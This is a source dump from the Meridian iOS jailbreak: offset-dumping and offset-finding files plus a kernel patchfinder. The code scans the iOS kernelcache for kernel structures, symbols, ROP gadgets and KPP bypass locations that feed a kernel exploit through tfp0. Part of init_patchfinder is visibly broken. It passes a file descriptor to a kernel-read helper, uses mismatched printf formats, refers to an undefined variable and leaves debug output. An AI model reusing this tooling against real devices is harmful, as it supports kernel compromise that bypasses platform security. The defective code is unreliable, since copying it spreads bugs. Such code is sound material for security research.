        patchfinder64::loc_t find_sbops();
        patchfinder64::patch find_nonceEnabler_patch();

        
        /*------------------------ KPP bypass -------------------------- */
        patchfinder64::loc_t find_gPhysBase();
        patchfinder64::loc_t find_kernel_pmap();
        patchfinder64::loc_t find_cpacr_write();
        patchfinder64::loc_t find_idlesleep_str_loc();
        patchfinder64::loc_t find_deepsleep_str_loc();

        /*------------------------ Util -------------------------- */
        patchfinder64::loc_t find_rootvnode();
        
        ~offsetfinder64();
    };
    using segment_t = std::vector<tihmstar::offsetfinder64::text_t>;
    namespace patchfinder64{
        
        loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos);
    }
}



#endif /* offsetfinder64_hpp */


================================================
FILE: Meridian/Meridian/patchfinders/offsetdump.h
================================================
//
//  offsetdump.h
//  Meridian
//
//  Created by Ben Sparkes on 30/03/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef offsetdump_h
#define offsetdump_h

void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide);

#endif /* offsetdump_h */


================================================
FILE: Meridian/Meridian/patchfinders/offsetdump.m
================================================
//
//  offsetdump.m
//  Meridian
//
//  Created by Ben Sparkes on 30/03/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#import <Foundation/Foundation.h>

#include "patchfinder64.h"
#include "v0rtex.h"

void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide) {
    NSData *blob = [NSData dataWithContentsOfFile:@"/meridian/offsets.plist"];
    NSMutableDictionary *off_file = [NSPropertyListSerialization propertyListWithData:blob
                                                                              options:NSPropertyListMutableContainers
                                                                               format:nil
                                                                                error:nil];
    
    // There is probably a better way than doing this all manually, but ¯\_(ツ)_/¯
    // We don't really need to log *all* of these, but better safe than PR'ing, right?
    // See the amfid patch for an example of using this (amfid/main.m)
    
    off_file[@"Base"]                           = [NSString stringWithFormat:@"0x%016llx", offsets->base];
    off_file[@"KernelBase"]                     = [NSString stringWithFormat:@"0x%016llx", kernel_base];
    off_file[@"KernelSlide"]                    = [NSString stringWithFormat:@"0x%016llx", kernel_slide];
    
    off_file[@"SizeOfTask"]                     = [NSString stringWithFormat:@"0x%016llx", offsets->sizeof_task];
    off_file[@"TaskItkSelf"]                    = [NSString stringWithFormat:@"0x%016llx", offsets->task_itk_self];
    off_file[@"TaskItkRegistered"]              = [NSString stringWithFormat:@"0x%016llx", offsets->task_itk_registered];
    off_file[@"TaskBsdInfo"]                    = [NSString stringWithFormat:@"0x%016llx", offsets->task_bsd_info];
    off_file[@"ProcUcred"]                      = [NSString stringWithFormat:@"0x%016llx", offsets->proc_ucred];
    off_file[@"VmMapHdr"]                       = [NSString stringWithFormat:@"0x%016llx", offsets->vm_map_hdr];
    off_file[@"IpcSpaceIsTask"]                 = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_space_is_task];
    off_file[@"RealhostSpecial"]                = [NSString stringWithFormat:@"0x%016llx", offsets->realhost_special];
    off_file[@"IOUserClientIPC"]                = [NSString stringWithFormat:@"0x%016llx", offsets->iouserclient_ipc];
    off_file[@"VtabGetRetainCount"]             = [NSString stringWithFormat:@"0x%016llx", offsets->vtab_get_retain_count];
    off_file[@"VtabGetExternalTrapForIndex"]    = [NSString stringWithFormat:@"0x%016llx", offsets->vtab_get_external_trap_for_index];
    
    off_file[@"ZoneMap"]                        = [NSString stringWithFormat:@"0x%016llx", offsets->zone_map];
    off_file[@"KernelMap"]                      = [NSString stringWithFormat:@"0x%016llx", offsets->kernel_map];
    off_file[@"KernelTask"]                     = [NSString stringWithFormat:@"0x%016llx", offsets->kernel_task];
    off_file[@"RealHost"]                       = [NSString stringWithFormat:@"0x%016llx", offsets->realhost];
    
    off_file[@"CopyIn"]                         = [NSString stringWithFormat:@"0x%016llx", offsets->copyin];
    off_file[@"CopyOut"]                        = [NSString stringWithFormat:@"0x%016llx", offsets->copyout];
    off_file[@"Chgproccnt"]                     = [NSString stringWithFormat:@"0x%016llx", offsets->chgproccnt];
    off_file[@"KauthCredRef"]                   = [NSString stringWithFormat:@"0x%016llx", offsets->kauth_cred_ref];
    off_file[@"IpcPortAllocSpecial"]            = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_port_alloc_special];
    off_file[@"IpcKobjectSet"]                  = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_kobject_set];
    off_file[@"IpcPortMakeSend"]                = [NSString stringWithFormat:@"0x%016llx", offsets->ipc_port_make_send];
    off_file[@"OSSerializerSerialize"]          = [NSString stringWithFormat:@"0x%016llx", offsets->osserializer_serialize];
    off_file[@"RopLDR"]                         = [NSString stringWithFormat:@"0x%016llx", offsets->rop_ldr_x0_x0_0x10];
    
    off_file[@"RootVnode"]                      = [NSString stringWithFormat:@"0x%016llx", offsets->root_vnode];
    
    off_file[@"VfsContextCurrent"]              = [NSString stringWithFormat:@"0x%016llx", offsets->vfs_context_current];
    off_file[@"VnodeGetFromFD"]                 = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_getfromfd];
    off_file[@"VnodeGetAttr"]                   = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_getattr];
    off_file[@"VnodePut"]                       = [NSString stringWithFormat:@"0x%016llx", offsets->vnode_put];
    off_file[@"CSBlobEntDictSet"]               = [NSString stringWithFormat:@"0x%016llx", offsets->csblob_ent_dict_set];
    off_file[@"SHA1Init"]                       = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_init];
    off_file[@"SHA1Update"]                     = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_update];
    off_file[@"SHA1Final"]                      = [NSString stringWithFormat:@"0x%016llx", offsets->sha1_final];
    
    off_file[@"AddGadgetRet"]                   = [NSString stringWithFormat:@"0x%016llx", find_add_x0_x0_0x40_ret()];
    off_file[@"OSBooleanTrue"]                  = [NSString stringWithFormat:@"0x%016llx", find_OSBoolean_True()];
    off_file[@"OSBooleanFalse"]                 = [NSString stringWithFormat:@"0x%016llx", find_OSBoolean_False()];
    off_file[@"OSUnserializeXML"]               = [NSString stringWithFormat:@"0x%016llx", find_OSUnserializeXML()];
    off_file[@"Smalloc"]                        = [NSString stringWithFormat:@"0x%016llx", find_smalloc()];
    off_file[@"CSFindMD"]                       = [NSString stringWithFormat:@"0x%016llx", find_cs_find_md(offsets->sha1_init + kernel_slide,
                                                                                                           offsets->sha1_update + kernel_slide,
                                                                                                           offsets->sha1_final + kernel_slide)];
    
    [off_file writeToFile:@"/meridian/offsets.plist" atomically:YES];
}


================================================
FILE: Meridian/Meridian/patchfinders/offsetfinder.h
================================================
//
//  offsetfinder.h
//  Meridian
//
//  Created by Ben Sparkes on 08/03/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef offsetfinder_h
#define offsetfinder_h

#ifdef __cplusplus
extern "C"
#endif
offsets_t *get_offsets(void);

#endif /* offsetfinder_h */


================================================
FILE: Meridian/Meridian/patchfinders/offsetfinder.mm
================================================
//
//  offsetfinder.mm
//  Meridian
//
//  Created by Ben Sparkes on 08/03/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#include "v0rtex.h"
#include "liboffsetfinder64.hpp"
#include "ViewController.h"
#import <Foundation/Foundation.h>

static bool DidInit = false;
static offsets_t off;

extern "C" offsets_t *get_offsets() {
    if (DidInit) {
        return &off;
    }

    try {
        NSLog(@"[OFFSET] initializing offsetfinder...");
        tihmstar::offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache");
        NSLog(@"[OFFSET] initialized offsetfinder");

        off.base = 0xfffffff007004000;

        NSLog(@"[OFFSET] begginning offset finding...");
        off.sizeof_task                         = (kptr_t)fi.find_sizeof_task();
        off.task_itk_self                       = (kptr_t)fi.find_task_itk_self();
        off.task_itk_registered                 = (kptr_t)fi.find_task_itk_registered();
        off.task_bsd_info                       = (kptr_t)fi.find_task_bsd_info();
        off.proc_ucred                          = (kptr_t)fi.find_proc_ucred();
        off.vm_map_hdr                          = (kptr_t)fi.find_vm_map_hdr();
        off.ipc_space_is_task                   = (kptr_t)fi.find_ipc_space_is_task();
        off.realhost_special                    = 0x10;
        off.iouserclient_ipc                    = (kptr_t)fi.find_iouserclient_ipc();
        off.vtab_get_retain_count               = (kptr_t)fi.find_vtab_get_retain_count();
        off.vtab_get_external_trap_for_index    = (kptr_t)fi.find_vtab_get_external_trap_for_index();
        NSLog(@"[OFFSET] grabbed struct offsets");

        off.zone_map                            = (kptr_t)fi.find_zone_map();
        off.kernel_map                          = (kptr_t)fi.find_kernel_map();
        off.kernel_task                         = (kptr_t)fi.find_kernel_task();
        off.realhost                            = (kptr_t)fi.find_realhost();
        NSLog(@"[OFFSET] grabbed map offsets");
        
        off.copyin                              = (kptr_t)fi.find_copyin();
        off.copyout                             = (kptr_t)fi.find_copyout();
        off.chgproccnt                          = (kptr_t)fi.find_chgproccnt();
        off.kauth_cred_ref                      = (kptr_t)fi.find_kauth_cred_ref();
        off.ipc_port_alloc_special              = (kptr_t)fi.find_ipc_port_alloc_special();
        off.ipc_kobject_set                     = (kptr_t)fi.find_ipc_kobject_set();
        off.ipc_port_make_send                  = (kptr_t)fi.find_ipc_port_make_send();
        off.osserializer_serialize              = (kptr_t)fi.find_osserializer_serialize();
        off.rop_ldr_x0_x0_0x10                  = (kptr_t)fi.find_rop_ldr_x0_x0_0x10();
        NSLog(@"[OFFSET] grabbed code offsets");
        
        off.root_vnode                          = (kptr_t)fi.find_rootvnode();
        
        off.vfs_context_current                 = (kptr_t)fi.find_sym("_vfs_context_current");
        off.vnode_getfromfd                     = (kptr_t)fi.find_sym("_vnode_getfromfd");
        off.vnode_getattr                       = (kptr_t)fi.find_sym("_vnode_getattr");
        off.vnode_put                           = (kptr_t)fi.find_sym("_vnode_put");
        off.csblob_ent_dict_set                 = (kptr_t)fi.find_sym("_csblob_entitlements_dictionary_set");
        off.sha1_init                           = (kptr_t)fi.find_sym("_SHA1Init");
        off.sha1_update                         = (kptr_t)fi.find_sym("_SHA1Update");
        off.sha1_final                          = (kptr_t)fi.find_sym("_SHA1Final");
        NSLog(@"[OFFSET] grabbed amfi offsets");
        
        NSLog(@"[OFFSET] sizeof_task = 0x%llx", off.sizeof_task);
        NSLog(@"[OFFSET] task_itk_self = 0x%llx", off.task_itk_self);
        NSLog(@"[OFFSET] task_itk_registered = 0x%llx", off.task_itk_registered);
        NSLog(@"[OFFSET] kernel_task = 0x%llx", off.kernel_task);
        NSLog(@"[OFFSET] rootvnode = 0x%llx", off.root_vnode);
        NSLog(@"[OFFSET] sha1_init = 0x%llx", off.sha1_init);
    } catch (tihmstar::exception &e) {
        NSLog(@"offsetfinder failure! %d (%s)", e.code(), e.what());
        return NULL;
    } catch (std::exception &e) {
        NSLog(@"fatal offsetfinder failure! %s", e.what());
        return NULL;
    }
        
    DidInit = true;

    return &off;
}


================================================
FILE: Meridian/Meridian/patchfinders/patchfinder64.c
================================================
//
//  patchfinder64.c
//  extra_recipe
//
//  Created by xerub on 06/06/2017.
//  Copyright © 2017 xerub. All rights reserved.
//

#include <assert.h>
#include <stdint.h>
#include <string.h>
#include "kernel.h"

typedef unsigned long long addr_t;

#define IS64(image) (*(uint8_t *)(image) & 1)

#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)

/* generic stuff *************************************************************/

#define UCHAR_MAX 255

static unsigned char *
boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
                           const unsigned char* needle,   size_t nlen)
{
    size_t last, scan = 0;
    size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
                                          * bad character shift */

    /* Sanity checks on the parameters */
    if (nlen <= 0 || !haystack || !needle)
        return NULL;

    /* ---- Preprocess ---- */
    /* Initialize the table to default value */
    /* When a character is encountered that does not occur
     * in the needle, we can safely skip ahead for the whole
     * length of the needle.
     */
    for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
        bad_char_skip[scan] = nlen;

    /* C arrays have the first byte at [0], therefore:
     * [nlen - 1] is the last byte of the array. */
    last = nlen - 1;

    /* Then populate it with the analysis of the needle */
    for (scan = 0; scan < last; scan = scan + 1)
        bad_char_skip[needle[scan]] = last - scan;

    /* ---- Do the matching ---- */

    /* Search the haystack, while the needle can still be within it. */
    while (hlen >= nlen)
    {
        /* scan from the end of the needle */
        for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
            if (scan == 0) /* If the first byte matches, we've found it. */
                return (void *)haystack;

        /* otherwise, we need to skip some bytes and start again.
           Note that here we are getting the skip value based on the last byte
           of needle, no matter where we didn't match. So if needle is: "abcd"
           then we are skipping based on 'd' and that value will be 4, and
           for "abcdd" we again skip on 'd' but the value will be only 1.
           The alternative of pretending that the mismatched character was
           the last character is slower in the normal case (E.g. finding
           "abcd" in "...azcd..." gives 4 by using 'd' but only
           4-2==2 using 'z'. */
        hlen     -= bad_char_skip[haystack[last]];
        haystack += bad_char_skip[haystack[last]];
    }

    return NULL;
}

/* disassembler **************************************************************/

static int HighestSetBit(int N, uint32_t imm)
{
	int i;
	for (i = N - 1; i >= 0; i--) {
		if (imm & (1 << i)) {
			return i;
		}
	}
	return -1;
}

static uint64_t ZeroExtendOnes(unsigned M, unsigned N)	// zero extend M ones to N width
{
	(void)N;
	return ((uint64_t)1 << M) - 1;
}

static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
{
	uint64_t val = ZeroExtendOnes(M, N);
	if (R == 0) {
		return val;
	}
	return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));
}

static uint64_t Replicate(uint64_t val, unsigned bits)
{
	uint64_t ret = val;
	unsigned shift;
	for (shift = bits; shift < 64; shift += bits) {	// XXX actually, it is either 32 or 64
		ret |= (val << shift);
	}
	return ret;
}

static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)
{
	unsigned S, R, esize;
	int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));
	if (len < 1) {
		return -1;
	}
	uint64_t levels = ZeroExtendOnes(len, 6);
	if (immediate && (imms & levels) == levels) {
		return -1;
	}
	S = imms & levels;
	R = immr & levels;
	esize = 1 << len;
	*newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);
	return 0;
}

static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)
{
	unsigned o = (opcode >> 29) & 3;
	unsigned k = (opcode >> 23) & 0x3F;
	unsigned rn, rd;
	uint64_t i;

	if (k == 0x24 && o == 1) {			// MOV (bitmask imm) <=> ORR (immediate)
		unsigned s = (opcode >> 31) & 1;
		unsigned N = (opcode >> 22) & 1;
		if (s == 0 && N != 0) {
			return -1;
		}
		rn = (opcode >> 5) & 0x1F;
		if (rn == 31) {
			unsigned imms = (opcode >> 10) & 0x3F;
			unsigned immr = (opcode >> 16) & 0x3F;
			return DecodeBitMasks(N, imms, immr, 1, newval);
		}
	} else if (k == 0x25) {				// MOVN/MOVZ/MOVK
		unsigned s = (opcode >> 31) & 1;
		unsigned h = (opcode >> 21) & 3;
		if (s == 0 && h > 1) {
			return -1;
		}
		i = (opcode >> 5) & 0xFFFF;
		h *= 16;
		i <<= h;
		if (o == 0) {				// MOVN
			*newval = ~i;
			return 0;
		} else if (o == 2) {			// MOVZ
			*newval = i;
			return 0;
		} else if (o == 3 && !first) {		// MOVK
			*newval = (total & ~((uint64_t)0xFFFF << h)) | i;
			return 0;
		}
	} else if ((k | 1) == 0x23 && !first) {		// ADD (immediate)
		unsigned h = (opcode >> 22) & 3;
		if (h > 1) {
			return -1;
		}
		rd = opcode & 0x1F;
		rn = (opcode >> 5) & 0x1F;
		if (rd != rn) {
			return -1;
		}
		i = (opcode >> 10) & 0xFFF;
		h *= 12;
		i <<= h;
		if (o & 2) {				// SUB
			*newval = total - i;
			return 0;
		} else {				// ADD
			*newval = total + i;
			return 0;
		}
	}

	return -1;
}

/* patchfinder ***************************************************************/

static addr_t
step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
{
    addr_t end = start + length;
    while (start < end) {
        uint32_t x = *(uint32_t *)(buf + start);
        if ((x & mask) == what) {
            return start;
        }
        start += 4;
    }
    return 0;
}

static addr_t
step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
{
    addr_t end = start - length;
    while (start >= end) {
        uint32_t x = *(uint32_t *)(buf + start);
        if ((x & mask) == what) {
            return start;
        }
        start -= 4;
    }
    return 0;
}

static addr_t
bof64(const uint8_t *buf, addr_t start, addr_t where)
{
    for (; where >= start; where -= 4) {
        uint32_t op = *(uint32_t *)(buf + where);
        if ((op & 0xFFC003FF) == 0x910003FD) {
            unsigned delta = (op >> 10) & 0xFFF;
            //printf("%x: ADD X29, SP, #0x%x\n", where, delta);
            if ((delta & 0xF) == 0) {
                addr_t prev = where - ((delta >> 4) + 1) * 4;
                uint32_t au = *(uint32_t *)(buf + prev);
                if ((au & 0xFFC003E0) == 0xA98003E0) {
                    //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
                    return prev;
                }
            }
        }
    }
    return 0;
}

static addr_t
xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
{
    addr_t i;
    uint64_t value[32];

    memset(value, 0, sizeof(value));

    end &= ~3;
    for (i = start & ~3; i < end; i += 4) {
        uint32_t op = *(uint32_t *)(buf + i);
        unsigned reg = op & 0x1F;
        if ((op & 0x9F000000) == 0x90000000) {
            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
            //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
            value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
        /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
            unsigned rd = op & 0x1F;
            unsigned rm = (op >> 16) & 0x1F;
            //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
            value[rd] = value[rm];*/
        } else if ((op & 0xFF000000) == 0x91000000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned shift = (op >> 22) & 3;
            unsigned imm = (op >> 10) & 0xFFF;
            if (shift == 1) {
                imm <<= 12;
            } else {
                //assert(shift == 0);
                if (shift > 1) continue;
            }
            //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
            value[reg] = value[rn] + imm;
        } else if ((op & 0xF9C00000) == 0xF9400000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned imm = ((op >> 10) & 0xFFF) << 3;
            //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
            if (!imm) continue;			// XXX not counted as true xref
            value[reg] = value[rn] + imm;	// XXX address, not actual value
        /*} else if ((op & 0xF9C00000) == 0xF9000000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned imm = ((op >> 10) & 0xFFF) << 3;
            //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
            if (!imm) continue;			// XXX not counted as true xref
            value[rn] = value[rn] + imm;	// XXX address, not actual value*/
        } else if ((op & 0x9F000000) == 0x10000000) {
            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
            //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
            value[reg] = ((long long)adr >> 11) + i;
        } else if ((op & 0xFF000000) == 0x58000000) {
            unsigned adr = (op & 0xFFFFE0) >> 3;
            //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
            value[reg] = adr + i;		// XXX address, not actual value
        }
        if (value[reg] == what) {
            return i;
        }
    }
    return 0;
}

static addr_t
calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
{
    addr_t i;
    uint64_t value[32];

    memset(value, 0, sizeof(value));

    end &= ~3;
    for (i = start & ~3; i < end; i += 4) {
        uint32_t op = *(uint32_t *)(buf + i);
        unsigned reg = op & 0x1F;
        if ((op & 0x9F000000) == 0x90000000) {
            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
            //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
            value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
        /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
            unsigned rd = op & 0x1F;
            unsigned rm = (op >> 16) & 0x1F;
            //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
            value[rd] = value[rm];*/
        } else if ((op & 0xFF000000) == 0x91000000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned shift = (op >> 22) & 3;
            unsigned imm = (op >> 10) & 0xFFF;
            if (shift == 1) {
                imm <<= 12;
            } else {
                //assert(shift == 0);
                if (shift > 1) continue;
            }
            //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
            value[reg] = value[rn] + imm;
        } else if ((op & 0xF9C00000) == 0xF9400000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned imm = ((op >> 10) & 0xFFF) << 3;
            //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
            if (!imm) continue;			// XXX not counted as true xref
            value[reg] = value[rn] + imm;	// XXX address, not actual value
        } else if ((op & 0xF9C00000) == 0xF9000000) {
            unsigned rn = (op >> 5) & 0x1F;
            unsigned imm = ((op >> 10) & 0xFFF) << 3;
            //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
            if (!imm) continue;			// XXX not counted as true xref
            value[rn] = value[rn] + imm;	// XXX address, not actual value
        } else if ((op & 0x9F000000) == 0x10000000) {
            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
            //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
            value[reg] = ((long long)adr >> 11) + i;
        } else if ((op & 0xFF000000) == 0x58000000) {
            unsigned adr = (op & 0xFFFFE0) >> 3;
            //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
            value[reg] = adr + i;		// XXX address, not actual value
        }
    }
    return value[which];
}

static addr_t
calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)
{
    addr_t i;
    uint64_t value[32];

    memset(value, 0, sizeof(value));

    end &= ~3;
    for (i = start & ~3; i < end; i += 4) {
        uint32_t op = *(uint32_t *)(buf + i);
        unsigned reg = op & 0x1F;
        uint64_t newval;
        int rv = DecodeMov(op, value[reg], 0, &newval);
        if (rv == 0) {
            if (((op >> 31) & 1) == 0) {
                newval &= 0xFFFFFFFF;
            }
            value[reg] = newval;
        }
    }
    return value[which];
}

static addr_t
find_call64(const uint8_t *buf, addr_t start, size_t length)
{
    return step64(buf, start, length, 0x94000000, 0xFC000000);
}

static addr_t
follow_call64(const uint8_t *buf, addr_t call)
{
    long long w;
    w = *(uint32_t *)(buf + call) & 0x3FFFFFF;
    w <<= 64 - 26;
    w >>= 64 - 26 - 2;
    return call + w;
}

static addr_t
follow_cbz(const uint8_t *buf, addr_t cbz)
{
    return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);
}

/* kernel iOS10 **************************************************************/

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach-o/loader.h>

#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
#include <mach/mach.h>
size_t kread(uint64_t where, void *p, size_t size);
#endif

static uint8_t *kernel = NULL;
static size_t kernel_size = 0;

static addr_t xnucore_base = 0;
static addr_t xnucore_size = 0;
static addr_t prelink_base = 0;
static addr_t prelink_size = 0;
static addr_t cstring_base = 0;
static addr_t cstring_size = 0;
static addr_t pstring_base = 0;
static addr_t pstring_size = 0;
static addr_t data_base = 0;
static addr_t data_size = 0;
static addr_t data_const_base = 0;
static addr_t data_const_size = 0;
static addr_t kerndumpbase = -1;
static addr_t kernel_entry = 0;
static void *kernel_mh = 0;
static addr_t kernel_delta = 0;

int
init_patchfinder(const char *filename)
{
    size_t rv;
    uint8_t buf[0x4000];
    unsigned i, j;
    const struct mach_header *hdr = (struct mach_header *)buf;
    const uint8_t *q;
    addr_t min = -1;
    addr_t max = 0;
    int is64 = 0;
    
#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
#define close(f)
    rv = kread(kernel_base, buf, sizeof(buf));
    if (rv != sizeof(buf)) {
        printf("failed kread, got size: %zu \n", rv);
        return -1;
    }
#else	/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
    printf("this code right here has run ............. \n");
    int fd = open(filename, O_RDONLY);
    if (fd < 0) {
        printf("failed at open, got fd: %s \n", fd);
        return -1;
    }

    rv = rk32_via_tfp0(tfp0, fd);
    //rv = read(fd, buf, sizeof(buf));
    if (rv != sizeof(buf)) {
        close(fd);
        printf("failed at buf read, got rv: %d \n", rv);
        return -1;
    }
#endif	/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */

    if (!MACHO(buf)) {
        close(fd);
        printf("failed macho, buf: %s \n", buf);
        return -1;
    }

    if (IS64(buf)) {
        is64 = 4;
    }

    q = buf + sizeof(struct mach_header) + is64;
    for (i = 0; i < hdr->ncmds; i++) {
        const struct load_command *cmd = (struct load_command *)q;
        if (cmd->cmd == LC_SEGMENT_64) {
            const struct segment_command_64 *seg = (struct segment_command_64 *)q;
            if (min > seg->vmaddr) {
                min = seg->vmaddr;
            }
            if (max < seg->vmaddr + seg->vmsize) {
                max = seg->vmaddr + seg->vmsize;
            }
            if (!strcmp(seg->segname, "__TEXT_EXEC")) {
                xnucore_base = seg->vmaddr;
                xnucore_size = seg->filesize;
            }
            if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
                prelink_base = seg->vmaddr;
                prelink_size = seg->filesize;
            }
            if (!strcmp(seg->segname, "__TEXT")) {
                const struct section_64 *sec = (struct section_64 *)(seg + 1);
                for (j = 0; j < seg->nsects; j++) {
                    if (!strcmp(sec[j].sectname, "__cstring")) {
                        cstring_base = sec[j].addr;
                        cstring_size = sec[j].size;
                    }
                }
            }
            if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
                const struct section_64 *sec = (struct section_64 *)(seg + 1);
                for (j = 0; j < seg->nsects; j++) {
                    if (!strcmp(sec[j].sectname, "__text")) {
                        pstring_base = sec[j].addr;
                        pstring_size = sec[j].size;
                    }
                }
            }
            if (!strcmp(seg->segname, "__LINKEDIT")) {
                kernel_delta = seg->vmaddr - min - seg->fileoff;
            }
            if (!strcmp(seg->segname, "__DATA")) {
                const struct section_64 *sec = (struct section_64 *)(seg + 1);
                for (j = 0; j < seg->nsects; j++) {
                    if (!strcmp(sec[j].sectname, "__data")) {
                        data_base = sec[j].addr;
                        data_size = sec[j].size;
                    }
                }
            }
            if (!strcmp(seg->segname, "__DATA_CONST")) {
                const struct section_64 *sec = (struct section_64 *)(seg + 1);
                for (j = 0; j < seg->nsects; j++) {
                    data_const_base = sec[j].addr;
                    data_const_size = sec[j].size;
                }
            }
        }
        if (cmd->cmd == LC_UNIXTHREAD) {
            uint32_t *ptr = (uint32_t *)(cmd + 1);
            uint32_t flavor = ptr[0];
            struct {
                uint64_t x[29];	/* General purpose registers x0-x28 */
                uint64_t fp;	/* Frame pointer x29 */
                uint64_t lr;	/* Link register x30 */
                uint64_t sp;	/* Stack pointer x31 */
                uint64_t pc; 	/* Program counter */
                uint32_t cpsr;	/* Current program status register */
            } *thread = (void *)(ptr + 2);
            if (flavor == 6) {
                kernel_entry = thread->pc;
            }
        }
        q = q + cmd->cmdsize;
    }

    kerndumpbase = min;
    xnucore_base -= kerndumpbase;
    prelink_base -= kerndumpbase;
    cstring_base -= kerndumpbase;
    pstring_base -= kerndumpbase;
    kernel_size = max - min;

#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
    kernel = malloc(kernel_size);
    if (!kernel) {
        printf("failed to malloc kern \n");
        return -1;
    }
    
    rv = kread(kerndumpbase, kernel, kernel_size);
    // rv = kread(kerndumpbase, kernel, kernel_size);
    if (rv != kernel_size) {
        free(kernel);
        printf("failed to kread kern, rv: %zu \n", rv);
        return -1;
    }

    kernel_mh = kernel + kernel_base - min;

    (void)filename;
#undef close
#else	/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
    kernel = calloc(1, kernel_size);
    if (!kernel) {
        close(fd);
        printf("failed to calloc kern, kernel: %d \n", kernel);
        return -1;
    }

    q = buf + sizeof(struct mach_header) + is64;
    for (i = 0; i < hdr->ncmds; i++) {
        const struct load_command *cmd = (struct load_command *)q;
        if (cmd->cmd == LC_SEGMENT_64) {
            const struct segment_command_64 *seg = (struct segment_command_64 *)q;
            size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
            if (sz != seg->filesize) {
                close(fd);
                free(kernel);
                printf("sz != seg->filesize, sz: %zu", sz);
                return -1;
            }
            if (!kernel_mh) {
                kernel_mh = kernel + seg->vmaddr - min;
            }
            if (!strcmp(seg->segname, "__LINKEDIT")) {
                kernel_delta = seg->vmaddr - min - seg->fileoff;
            }
        }
        q = q + cmd->cmdsize;
    }

    close(fd);

    (void)base;
#endif	/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
    return 0;
}

void
term_kernel(void)
{
    free(kernel);
}

/* these operate on VA ******************************************************/

#define INSN_RET  0xD65F03C0, 0xFFFFFFFF
#define INSN_CALL 0x94000000, 0xFC000000
#define INSN_B    0x14000000, 0xFC000000
#define INSN_CBZ  0x34000000, 0xFC000000

addr_t
find_register_value(addr_t where, int reg)
{
    addr_t val;
    addr_t bof = 0;
    where -= kerndumpbase;
    if (where > xnucore_base) {
